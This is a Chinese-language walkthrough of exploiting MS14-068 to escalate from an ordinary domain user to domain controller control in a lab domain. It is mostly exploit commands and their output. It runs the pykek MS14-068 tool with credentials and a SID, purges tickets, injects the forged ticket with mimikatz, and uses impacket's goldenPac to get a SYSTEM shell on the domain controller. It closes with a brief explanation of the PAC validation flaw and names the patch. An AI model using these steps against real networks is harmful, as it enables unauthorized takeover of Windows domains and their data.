MS14-068

MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

利用方式

攻击流程：

MS14-068对应的补丁为KB3011780，可在域控上通过systeminfo查看是否安装此补丁。

一、在域内主机jerry上通过dir来访问域控的共享文件夹，示拒绝访问。

```
dir \\OWA2010SP3.0day.org\c$
```

二、通过Pykek工具利用漏洞，我这里使用的是将python脚本编译之后的exe文件。

参数说明：

> -u 域账号+@+域名称，这里是jerry+@+rootkit.org
>
> -p 为当前用户的密码，即jerry的密码
>
> -s为jerry的SID值，可以通过whoami/all来获取用户的SID值
>
> -d为当前域的域控

```
C:\Users\sqladmin\Desktop>whoami /all

用户信息
----------------

用户名          SID
============= ============================================
0day\sqladmin S-1-5-21-1812960810-2335050734-3517558805-1142
```

```
MS14-068.exe -u sqladmin@0day.org -p admin!@#45 -s S-1-5-21-1812960810-
2335050734-3517558805-1142 -d OWA2010SP3.0day.org
```

```
C:\Users\sqladmin\Desktop>MS14-068.exe -u sqladmin@0day.org -p admin!@#45 -s S-1-5-21-1812
142 -d OWA2010SP3.0day.org
  [+] Building AS-REQ for OWA2010SP3.0day.org... Done!
  [+] Sending AS-REQ to OWA2010SP3.0day.org... Done!
  [+] Receiving AS-REP from OWA2010SP3.0day.org... Done!
  [+] Parsing AS-REP from OWA2010SP3.0day.org... Done!
  [+] Building TGS-REQ for OWA2010SP3.0day.org... Done!
  [+] Sending TGS-REQ to OWA2010SP3.0day.org... Done!
  [+] Receiving TGS-REP from OWA2010SP3.0day.org... Done!
  [+] Parsing TGS-REP from OWA2010SP3.0day.org... Done!
  [+] Creating ccache file 'TGT_sqladmin@0day.org.ccache'... Done!

C:\Users\sqladmin\Desktop>
```

脚本执行成功会在当前目录下生成一个ccache文件。

```
C:\Users\sqladmin\Desktop>dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 BCB4-6D0B

 C:\Users\sqladmin\Desktop 的目录

2019/08/22  22:48    <DIR>          .
2019/08/22  22:48    <DIR>          ..
2018/07/28  14:13         6,343,460 goldenPac.exe
2013/01/23  05:59            36,584 mimidrv.sys
2019/07/21  04:58         1,011,864 mimikatz.exe
2019/07/21  04:58            46,744 mimilib.dll
2019/08/21  16:28         3,492,558 ms14-068.exe
2019/08/22  22:54             1,096 TGT_sqladmin@0day.org.ccache
2019/05/26  23:02             1,436 务必先仔细读我.txt
               7 个文件     10,933,742 字节
               2 个目录 37,112,958,976 可用字节

C:\Users\sqladmin\Desktop>
```

三、使用mimikatz导入生成的ccache文件，导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。

```
klist purge
```

```
C:\Users\sqladmin\Desktop>klist purge

当前登录 ID 是 0:0x4cad2
        删除所有票证:
        已清除票证!

C:\Users\sqladmin\Desktop>
```

```
kerberos::ptc TGT_sqladmin@0day.org.ccache
```

```
C:\Users\sqladmin\Desktop>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Jul 20 2019 22:57:37
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # kerberos::ptc TGT_sqladmin@0day.org.ccache

Principal : (01) : sqladmin ; @ 0DAY.ORG

Data 0
          Start/End/MaxRenew: 2019/8/22 22:54:12 ; 2019/8/23 8:54:12 ; 2019/8/2
          Service Name (01) : krbtgt ; 0DAY.ORG ; @ 0DAY.ORG
          Target Name  (01) : krbtgt ; 0DAY.ORG ; @ 0DAY.ORG
          Client Name  (01) : sqladmin ; @ 0DAY.ORG
          Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable
          Session Key       : 0x00000017 - rc4_hmac_nt
            8af79e1d8cf2b596879a24d726d71efd
          Ticket            : 0x00000000 - null              ; kvno = 2
          * Injecting ticket : OK

mimikatz #
```

再次dir访问域控共享就可以成功访问。

```
dir \\OWA2010SP3.0day.org\c$
```

```
C:\Users\sqladmin>dir \\OWA2010SP3.0day.org\c$
 Volume in drive \\OWA2010SP3.0day.org\c$ has no label.
 Volume Serial Number is CC41-F739

 Directory of \\OWA2010SP3.0day.org\c$

2019/05/19  07:39    <DIR>          ExchangeSetupLogs
2019/05/19  06:47    <DIR>          inetpub
2019/05/26  10:35    <DIR>          Program Files
2019/05/26  10:35    <DIR>          Program Files (x86)
2019/05/19  06:48    <DIR>          Users
2019/05/19  07:18    <DIR>          Windows
2019/05/19  06:58    <DIR>          wwwdata
               0 File(s)              0 bytes
               7 Dir(s)  47,946,502,144 bytes free
```

goldenPac.exe

impacket工具包里面的goldenPac.py，这个工具是结合ms14-068加psexec的产物，利用起来十分顺手。

这里用到的是编译的exe文件。

```
goldenPac.exe 0day.org/sqladmin:admin!@#45@OWA2010SP3.0day.org
```

```
C:\Users\sqladmin\Desktop>goldenPac.exe 0day.org/sqladmin:admin!@#45@OWA2010SP3.0day.org
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] User SID: S-1-5-21-1812960810-2335050734-3517558805-1142
[*] Forest SID: S-1-5-21-1812960810-2335050734-3517558805
Traceback (most recent call last):
  File "logging\__init__.py", line 872, in emit
LookupError: unknown encoding: cp65001
Logged from file goldenPac.py, line 911
Traceback (most recent call last):
  File "logging\__init__.py", line 872, in emit
LookupError: unknown encoding: cp65001
Logged from file goldenPac.py, line 1000
[*] Requesting shares on OWA2010SP3.0day.org.....
Traceback (most recent call last):
  File "logging\__init__.py", line 872, in emit
LookupError: unknown encoding: cp65001
Logged from file serviceinstall.py, line 137
[*] Uploading file ykXMKYXx.exe
[*] Opening SVCManager on OWA2010SP3.0day.org.....
[*] Creating service zhKM on OWA2010SP3.0day.org.....
[*] Starting service zhKM.....
[!] Press help for extra shell commands
Microsoft Windows [□汾 6.1.7601]
□□Ę□□□□ (c) 2009 Microsoft Corporation□□□□□□□□□□Ę□□□□

C:\Windows\system32>whoami
nt authority\system
```

当然此工具不止是得到一个shell，我们甚至可以直接让该域控运行我们上传的程序。

这个漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法，以及PAC的加密算法，来校验PAC的合法性。这使得攻击者可通过伪造PAC，修改PAC中的SID，导致KDC判断攻击者为高权限用户，从而导致权限提升漏洞的产生。